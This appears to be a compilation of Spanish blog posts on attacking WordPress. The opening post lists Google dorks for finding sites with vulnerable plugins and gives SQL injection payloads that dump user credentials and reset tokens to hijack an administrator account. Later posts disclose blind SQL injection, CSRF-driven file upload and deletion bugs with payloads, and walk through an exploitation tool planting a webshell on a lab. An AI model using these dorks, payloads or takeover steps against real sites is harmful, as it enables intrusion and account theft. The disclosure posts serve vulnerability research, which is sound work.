Como hackear WordPress usando Dorks en Google

Hola a tod@s

Wordpress es sin duda el CMS más popular y usado por los usuarios de la blogosfera, por ello también es el más atacado debido a los miles de plugins y temas disponibles para WordPress.

Lo primero que se realiza es la parte de enumeración y como encontrar sitios que utilicen Wordpress y los plugins que utilizan.

Encontrar sitios con Wordpress:

• intext:"Proudly powered by WordPress. "
• intext:"Powered by WordPress. " 

Ver plugins instalados:

• inurl: /wordpress/wp-content/plugins/

Es hora de buscar algunas vulnerabilidades conocidas:

Listado de directorio

• "index of" inurl:wp-content/
• "inurl:"/wp-content/plugins/wp-shopping-cart/"

Una de base de datos

• "inurl:wp-content/plugins/wp-dbmanager/"

Wordpress theme Doraa XSS Vulnerability

• Themes by Bons.us

Wordpress theme Dosimple XSS Vulnerability

• "Theme by domainagan.com."

WordPress WP Symposium Plugin Cross Site Scripting

• "/wp-content/plugins/wp-symposium/"

WordPress mTheme-Unus Local File Inclusion

• ilnurl:/wp-content/themes/mTheme-Unus/

Wordpress Better-wp-security Plugin Remote Code Execution

• inurl:wp-content/plugins/better-wp-security

WordPress U-Design Theme 2.7.9 Cross Site Scripting

• inurl:/wp-theme/u-design/

 Wordpress Plugin easy-comment-uploads File Upload Vulendrability

• inurl:/wp-content/plugins/easy-comment-uploads/upload-form.php

WordPress Category and Page Icons File Upload

• index of "/wp-content/plugins/category-page-icons/"

 WordPress theme parallelus-salutation Arbitrary File Download Vulnerability

• inurl:themes/parallelus-salutation/ OR inurl:themes/parallelus-salutation/framework/

WordPress Auto-ThickBox-Plus XSS Vulnerability

inurl:"/wp-content/plugins/auto-thickbox-plus/"

Wordpress "Js Support Ticket" File Upload Bypass Extensions

inurl:/js-support-ticket-controlpanel/

WordPress Appointment Booking Calendar 1.1.24 Escalation / XSS

Index of /wordpress/wp-content/plugins/appointment-booking-calendar/

WordPress Appointment Booking Calendar 1.1.24 SQL Injection

• Index of /wordpress/wp-content/plugins/appointment-booking-calendar/

Wordpress clikstats plugin Open Redirect

• Dork: inurl:"/wp-content/plugins/clikstats/ck.php?"

Arbitrary File Upload: Easy Comment Uploads - Version - 3.2.1, usamos la siguiente dork:

• inurl:/wp-content/plugins/easy-comment-uploads/upload-form.php

Stored XSS: Versión 3.2.3, usamos la siguiente dork:

• inurl:/wp-content/plugins/count-per-day/notes.php

Arbitrary File Upload: Custom Content Type Manager, usamos la siguiente dork:

• inurl:/wp-content/plugins/custom-content-type-manager/upload_form.php

SQL Injection: Wordpress HD Webplayer - Versión 1.1, usamos la siguiente dork:

• inurl:/wp-content/plugins/hd-webplayer/playlist.php?videoid=

[Full-disclosure] WordPress <= 2.8.3 Remote admin reset password. Con este obtendremos el user_login y user_email de la siguiente manera:

• /*!UNION*/+/*!SELECT*/group_concat(ID,0x3a,user_login,0x3a,user_email,0x3b),2,3,4,5,6,7,8,9,10,11 from wp_users

Una vez obtenido el usuario o e-mail nos dirigimos a www.sitio-web.com/wp-admin y seleccionamos en ¿Olvidó su contraseña? introducimos el usuario o e-mail.

Presionar en "Get New Password" la cual el sitio web enviara un token, dicho token se almacena en la DB, por lo tanto se obtendrá dicho código de la siguiente manera:

• /*!UNION*/+/*!SELECT*/group_concat(ID,0x3a,user_login,0x3a,user_activation_key,0x3b),2,3,4,5,6,7,8,9,1​0,11 from wp_users

Obtenido el token, sólo faltaría restablecer la contraseña, para ello nos dirigimos al siguiente link:

http://www.sitio-web.com/wp-login.php?action=rp&key=Token&login=Usuario

Remplazamos el token  y usuario por lo datos que nos arroja la DB, por ejemplo:

http://www.sitio-web.com/wp-login.php?action=rp&key=JAr7W8letkza&login=admin

Por lo que lograremos la opción de restablecer la password fácil, fácil y con fundamento.

Full Path Disclosure (FPD), usaremos la siguiente dork:

• inurl:"/wp-includes/

Wordpress Formcraft Plugin File Upload Vulnerability

• intext:"powered by formcraft", inurl:plugins/formcraft

Wordpress Smallbiz Themes Remote File Uploads Vulnerability

• inurl:wp-content/themes/smallbiz/palette/index.php

No seáis malos.

Liberando algunas vulnerabilidades - Ultimate Product Cataloge v2.1.2 (II de II)

Hace ya un tiempo que escribí la primera parte de de este artículo, en él os hablaba de unas vulnerabilidades del plugin de Wordpress llamado Ultimate Product Catalogue en una versión menor o igual a la 3.1.4.
En su momento publiqué un par de SQL Injections sin autenticar [1][2]y hoy toca hablar de una especie de combo XSS + CSRF + File Upload descrito en el POC de de exploit-db [3] y el vídeo de youtube [4].

La utilidad básica de este plugin es publicar un catálogo de productos para vender y presentar en tu blog wordpress.

Ninguno de los formularios de este plugin cuenta con protección contra CSRF, es decir, que en el momento que un administrador o colaborador de la web visite un enlace a una web especialmente creada para esto, podría provocar, entre otras cosas, acciones en la parte de administración de este plugin, como podría ser cambiar los detalles de un producto como precio, título, descripción, o lo que es peor, inyectar código javascript en estos campos, ya que estos no se filtran en ningún momento. Por lo tanto, se podría conseguir mediante una visita del administrador a una web de perros gansta que modificara atributos de un producto a la venta para servir código HTML o javascript a todos los visitantes del blog que visitaran este catálogo de productos (1º combo: CSRF + XSS).

Por otro lado, contamos con la funcionalidad de subida de excels o CSV sin protección CSRF ni comprobación del tipo de fichero que se sube, dando como resultado la la posibilidad de que un administrador visitara una web de perros molones terminara subiendo un backdoor PHP en el servidor (2º combo: CSRF + File Upload).

En el siguiente vídeo se observa un POC de lo anterior, está editado regular, así que es posible que para pillar los detalles tengas que pararlo de vez en cuando:



La empresa está notificada desde hace tiempo y ambas vulnerabilidades solucionadas.

[1] https://www.exploit-db.com/exploits/36823/
[2] https://www.exploit-db.com/exploits/36824/
[3] https://www.exploit-db.com/exploits/36907/
[4] https://www.youtube.com/watch?v=roB_ken6U4o

Liberando algunas vulnerabilidades - Ultimate Product Cataloge v2.1.2 (I de II)

Hola a todos,

    Wordpress es una de las plataformas CMS más extendidas en Internet, rozando el 50% del todos los CMS del mercado. Los plugins desarrollados para esta plataforma se cuentan por miles. La facilidad para publicar tu plugin (tan solo es necesario registrarse gratuitamente) permite que haya una legión de empresas y autónomos desarrollando para este CMS. Esta gran variedad de desarrolladores tiene su parte buena y su parte mala. La buena es la gran oferta de plugins que permiten a los usuarios personalizar su web rápidamente y tener infinidad de funcionalidades a su disposición, la parte mala es que algunos de estos desarrolladores no siguen unas buenas prácticas de seguridad a la hora de programar estos plugins, de ahí que nos encontremos también con esa ingente cantidad de vulnerabilidades para esta plataforma.

    En este post, el primero de dos partes, voy a publicar 5 vulnerabilidades encontradas en unos de estos plugin. En este hablaré de dos inyecciones SQL ciegas sin autenticar y en el siguiente hablaré de otras que prefiero no detallar hasta que no estén solucionadas (IMPORTANTE: La empresa ya ha sido notificada y estas dos SQLi que publico ya están solucionadas en la versión 3.1.3).

Plugin afectado

    El plugin afectado es Ultimate Product Cataloge en su versión v2.1.2 (y probablemente en anteriores), un plugin con alrededor de 61.000 descargas y más de 4.000 instalaciones activas.

    Explorando entre el código de este plugin con un par de greps y expresiones regulares se puede encontrar en qué ficheros se están ejecutando algunas queries SQL que no están siendo filtradas adecuadamente mediante el uso de $wpdb->prepare o esq_sql.

En el plugin analizado se llegaron a identificar dos funcionalidades en los que un usuario sin autenticar interactua con el este plugin, que construye la consulta SQL de forma insegura.

1º SQLi: Inyección en la consulta de un producto único [1] [4]

En el momento que un usuario selecciona del catálogo de productos uno de ellos, dependiendo de la configuración del plugin, este le redirigirá a la página que detalla la información del producto. Se nos redirigirá a una página con una URL similar a la siguiente:

http://<wordpress site>/?&SingleProduct=2

Esta URL hará una llamada a la función "SingleProductPage()" localizada en el fichero "Functions/Shortcodes.php", donde la query que se construye es como la siguiente:

[...]

else {$Product = $wpdb->get_row("SELECT * FROM $items_table_name WHERE Item_ID='".$_GET['SingleProduct']."'");}

[...]

Supongo que ya vemos por donde van los tiros con esta query y si tenemos claro los conceptos de una inyección SQL ciega, podéis saltaros el siguiente apartado. En caso contrario, os dejo un ejemplo de cómo se puede probar la vulnerabilidad.

POC

Si el parámetro es un entero como un 2, la query será la siguiente:

SELECT * FROM $items_table_name WHERE Item_ID='2'

y devolverá los detalles del producto con este identificador que se encuentre almacenado en la base de datos, pero también devolverá el mismo resultado si en vez de insertar un 2, insertamos 2' and 'a'='a y posteriormente 2' and 'a'='b produciendo la siguientes queries:

SELECT * FROM $items_table_name WHERE Item_ID='2' and 'a'='a'

SELECT * FROM $items_table_name WHERE Item_ID='2' and 'a'='b'

Comparando respuesta del servidor del primer caso con la del segundo, podremos ver que se pueden inyectar condiciones lógicas en el parámetro SingleProduct y que a través de la respuesta del servidor se podrán identificar si se han evaluado como verdaderas o falsas.

Llevando esta prueba de concepto a una utilidad más amplia para un atacante, podrían inyectarse pruebas como preguntar al servidor si la primera letra del usuario que accede a la base de datos es la "c" inyectando lo siguiente 2' and substr(user(),1,1)='c, ejecutando la query final siguiente:

SELECT * FROM $items_table_name WHERE Item_ID='2' and substr(user(),1,1)='c'

Si la respuesta del servidor es igual a aquella que obtuvimos cuando el parámetro era tan solo un 2 (es decir, se visualiza la misma página), entonces sabemos que se ha evaluado a True esta query inyectada y que por tanto, el nombre del usuario de la base de datos empieza efectivamente por una 'c'. 

Para no eternizarnos con las pruebas manuales, SQLMap puede ayudarnos con la extracción de datos.
Es importante comentaros que esta vulnerabilidad será explotable si el servidor tiene desactivadas las magic_quotes_gpc en la configuración de php.ini, en caso contrario, automáticamente se escaparán las comillas introducidas en los parámetros con una contrabarra '\' y la explotación no será posible tan fácilmente.

2º SQLi: Inyección en el contador de visitas de un producto [2] [3]

En este caso, la vulnerabilidad, similar a la anterior, pero con la dificultad añadida de que la respuesta del servidor siempre es vacía y por tanto no se podrá distinguir entre una inyección evaluada a True a través de lo que se visualice. Por tanto, se deberán utilizar inyecciones basadas en tiempo, como por ejemplo SLEEP o BENCHMARK, pudiendo introducir condiciones como "si la primera letra del usuario es una "c" duerme 5 segundos". Así pues, se podrá utilizar la medición del tiempo de respuseta del servidor como método de detectar si una query se ha evaluado a True o False (de nuevo, el uso de SQLMap o similares es necesario si no quieres eternizarte con las pruebas manuales)

La inyección se encuentra en la función que se ejecuta automáticamente cada vez que se visita un producto por parte de un visitante a la web. Esta función parece ser la encargada de contar cuantas veces los usuarios han visitado un producto, almacenando en la base de datos un contador de visualizaciones.

La query con el parámetro vulnerables se encuentran en Functions/Process_Ajax.php y el parámetro inyectable es Item_ID dentro de la función Record_Item_View():

[...]

$Item_ID = $_POST['Item_ID'];$Item = $wpdb->get_row("SELECT Item_Views FROM $items_table_name WHERE Item_ID=" . $Item_ID);
[...]
add_action('wp_ajax_record_view', 'Record_Item_View');add_action('wp_ajax_nopriv_record_view', 'Record_Item_View' );
[...]

En este caso, a diferencia de la anterior vulnerabilidad no es necesario que magic_quotes_gpc estén deshabilitadas en el servidor ya que la query que se construye no hace uso de comillas simples o compuestas en el parámetro inyectable.

POC

Utilizando burp para visualizar las peticiones que se realizan al hacer click sobre uno de los productos, vemos que automáticamente se llama a la acción "record_view" a través de un POST a "/wp-admin/admin-ajax.php". Los parámetros enviados a esta pagina se verán en el burp similares a:

POST /wp-admin/admin-ajax.php HTTP/1.1

Host: <wordpress host>

[...]

Cookie: wordpress_f305[...]

Item_ID=2&action=record_view

Inyectando en Item_ID 2 and SLEEP(10) la respuesta de la página deberá retrasarse 10 segundos más que la query sin inyectar, dejándonos la evidencia de que en este parámetro se puede inyectar código SQL.

La mecánica para extraer los datos de la base de datos es similar al anterior SQLi y como ya se ha mencionado, no será necesario que el servidor de destino tenga deshabilitado las magic quotes.

En el próximo artículo espero poder liberar de un par de vulnerabilidades diferentes a SQLi también muy interesantes.

[1] https://www.exploit-db.com/exploits/36823/
[2] https://www.exploit-db.com/exploits/36824/
[3] https://wpvulndb.com/vulnerabilities/7946
[4] https://wpvulndb.com/vulnerabilities/7948

PD: ¡Actualizad siempre!

g0jira: herramienta para pwnear WordPress

¡Saludos!

      Pese a que todavía no está terminado -quedan muchos bugs que subsanar, muchas funcionalidades que añadir, e implementar más exploits (por ahora sólo llevo 60, y todos en plugins antiguos, ninguna en el core)- quería dejar por aquí un ejemplo de las cosas que ya permite hacer g0jira. ( https://github.com/0verl0ad/g0jira )

     ¿Qué es g0jira? Es un -intento de- framework/herramienta/llámalo X  para escanear y explotar vulnerabilidades conocidas en WordPress y sus plugins. WPScan es sin duda una herramienta completa y que cumple bien sus funciones, pero odio depender de las herramientas de terceros cuando se trata de cosas sencillas de implementar. Es por ello que empecé a codear esta herramienta.

    Podríamos dividirla en 3 partes: enumeración, explotación y herramientas. En la parte de enumeración podemos realizar un escaneo de plugins instalados (por defecto viene con un diccionario de más de 14.000 plugins, pero la herramienta permite construir uno nuevo del tamaño deseado), la versión del WordPress (obtenida desde 4 fuentes diferentes: meta generator, readme.html, RSS, y los links de los css y js), o realizar una búsqueda de un determinado plugin entre un listado de dominios (ideal si encuentras un 0-day :) ), listar los usuarios registrados.

   En la otra parte tendríamos el modo "exploit", desde el que lanzar los exploits; y la sección de herramientas, desde la cuales poder generar payloads, ofuscar webshells, etc. Ambas están en continua expansión, y me gustaría mucho que la gente colaborara aportando más :).

  Vamos a proceder a mostrar un pequeño ejemplo de cómo funciona (utilizando lo que hasta ahora está implementado) g0jira, utilizando como escenario WordPressA Lab (descargar desde aqui http://wordpressa.quantika14.com/ ) . Procedamos:

En primer lugar vamos a enumerar los plugins instalados, acotando la búsqueda a 1500 plugins ordenados por popularidad:

perl gojira.pl --enum=dic_populares.txt --url=http://localhost/wordpress --max=1500

    Como podemos observa se han detectado bastantes plugins. En aquellos donde se ha podido extraer la versión ésta se muestra y además cual es la versión más reciente del plugin. En caso de que no coincdan se muestra un enlace al changelog para ver qué ha sido modificado. Además se muestra un link de descarga del plugin en esa versión para poder buscar vulnerabilidades en local por si queremos.

    Nos vamos a centrar en "WordPress Shopping Cart". Probemos si tenemos algún exploit en g0jira para ese plugin y esa versión (o alguna superior). Para ello:

perl gojira.pl --exploit

Seguimos las instrucciones que aparecen en el menú y seleccionamos la opción "3", y escribimos "Shopping Cart" para buscar exploits relacionados:

   Podemos ver que hay un exploit para esta versión. Se trata de un Arbitrary File Upload, o sea, que vamos a poder subir una webshell. En este punto podemos comprobar si en las herramientas que vienen con g0jira encontramos alguna que nos interese. Para ello abrimos una pestaña nueva . y tecleamos:

perl gojira.pl --tools

Seleccionamos la opción para listar todas las herramientas disponibles (opción 1) y vemos que hay dos que nos interesan: HideShell (si queremos utilizar una webshell grande prefabricada, como una c99 que tengamos) y Shell2Me (para crear una webshell pequeña y manejarla desde consola).  En nuestro caso vamos a ejecutar Shell2Me para generar una webshell nueva con nombre esto-no-es-una-shell.php

     Tras generarla (y sin cerrar esa pestaña, puesto que después vamos a controlarla desde ahí) volvemos a la otra pestaña donde teníamos el menú de los exploits.  Y ejecutamos el exploit AFU-0002 (opción 2 y después escribir el codigo del exploit). Nos pediran los datos necesarios (URL, lugar de la shell, nombre que queremos que tenga una vez subida) y después se ejecutará: de tener éxito nos devolverá la ruta donde se encuentra nuestra shell.

  Ahora copiamos la ruta donde está, vamos a la pestaña donde teníamos abierta shell2me y se la pasamos para empezar a controlarla como si de un terminal se tratase:

Un "id" para comprobar que todo marcha bien :)


   Espero que quien lea este post le dé una oportunidad e intente añadir más exploits/herramientas para que entre todos tengamos un g0jira más completo :).


Byt3z!

@TheXC3LL

WP-BackitUp: Arbitrary File Deletion vulnerability (o porqué no subestimar un CSRF)

¡Saludos!

   Escribo esta entrada para dar un toque de atención a todos aquellos desarrolladores de plugins para WordPress: por favor, la API de WordPress permite crear directamente tokens (o "nonces") y después comprobar su validez. ¡NO QUIERO VER UN CSRF MÁS!

   En este mes y dos semanas que he pasado buscando vulnerabilidades en plugins de WordPress lo que más me he encontrado son CSRF que permiten cosas tan dispares como que puedas recibir un atacante pueda recibir por correo electrónico un backup de la base de datos (¡Toma ya!, en un plugin con más de un millón de descargas y que bastantes webs gordas lo tenían instalado), realizar un DoS al servidor , o como en este caso, poder eliminar cualquier archivo. Voy a usar el plugin "WP-BackItUp" como ejemplo porque fue reportado hace un mes (tal y como se indicó en Quantika14 ) y no han parcheado este grave fallo de seguridad pese ha que han sacado diversas actualizaciones desde entonces.

  Cuando comprobamos las cabeceras HTTP que se mandan cuando realizamos alguna acción, por ejemplo crear un backup, vemos que en ningún momento se manda ningún token que proteja esa petición y por tanto no se comprueba si realmente ha sido el administrador quien ha querido hacerla y no ha sido "forzado" por un atacante:

   Por lo pronto podemos forzar a que realice un backup de la base de datos y de los archivos de ese WordPress. En otros casos de plugins que realizan backups y también son vulnerables a CSRF se ha podido usar esa caracterísitica para que se inicien 10.000 full backups practicamente al unísono, produciendose un denial of service del servidor. Por desgracia este no es el caso :(


    Cuando observamos la petición de borrado de un archivo vemos que tampoco lleva un token que la proteja:

  Lo primero que pensé cuando lo ví es que bueno, pode borrar backups puede ser un fallo de seguridad, pero tampoco nada transcendental. Lo segundo fue: ¿porqué diablos pone el nombre del archivo? ¿no serán capaces de cometer tal atrocidad....?

    Efectivamente, la hacen. Contemplad este trozo de código, obelisco que simboliza la candidez de ese desarrollador. Un minuto de silencio por la inocencia de quien hizo esto:

function deletefile()

{

$fileToDel = str_replace('deleteRow', '', $_POST['filed']);

$restore_path =  WPBACKITUP_CONTENT_PATH .WPBACKITUP_BACKUP_FOLDER .'/' . $fileToDel;

_log('(functions.deletefile) Delete File:' . $restore_path);

if (unlink($restore_path))

echo 'deleted';

else

echo 'problem';

exit(0);

}

   En vez de guardar en la base de datos el nombre del archivo y después pedirlo para borrarlo, se lo pasa directamente a través de una petición POST. Sin filtrar. A pelo. Un "unlink()" a lo que le pases. Eso es confiar en el usuario.


    Procedamos a hacer la petición de rigor para ver si podemos aprovechar esto, sabiendo que la carpeta de la que parte es /wp-content/wpbackitup_backups:

Premio para el niño, el archivo ha sido borrado:

  Para poder hacer el PoC rápidamente y probarlo podeis usar el script que hice, CSRFtoPOST, que podeis descargar haciendo click AQUI.

No es dificil usar tokens en WordPress, de hecho hay un artículo donde lo explica dentro de la propia documentación de la API (http://codex.wordpress.org/WordPress_Nonces )  por lo que este tipo de fallos pueden ser subsanados agregando apenas 3 líneas más a tu código. No seas vago y hazlo ;)


Byt3z!

@TheXC3LL

Flunym0us

Hola a tod@s!

Flunym0us es una herramienta para auditar sitios CMS como Moodle y Wordpress . Es una aplicación gratuita, funciona como un escáner de plugin. Capaz de encontrar la versión de la plataforma y incluso los usuarios. Realiza operaciones de “fuzzing” contra la Web que se necesite auditar, le podemos pasar nosotros diccionarios o los que trae por defecto para cada plataforma. Esta aplicación ha sido programada en Phyton.

Y os preguntaréis ¿de quién es esta aplicación? La aplicación está desarrollada por nuestro blog amigo fluproject.  Juan Antonio Calles (@jantonioCalles) y Pablo González (@fluproject), y con la colaboración de Germán Sánchez (@enelpc) y Chema García (@sch3m4).

Los argumentos son:

• -h, –help: Show this help message and exit
• -wp, –wordpress: Scan WordPress site
• -mo, –moodle: Scan Moodle site
• -H HOST, –host HOST: Website to be scanned
• -w WORDLIST, –wordlist WORDLIST: Path to the wordlist to use
• -t TIMEOUT, –timeout TIMEOUT: Connection timeout
• -r RETRIES, –retries RETRIES: Connection retries
• -p PROCESS, –process PROCESS: Number of process to use
• -T THREADS, –threads THREADS: Number of threads (per process) to use

Podéis descargar aquí. 

No seáis malos.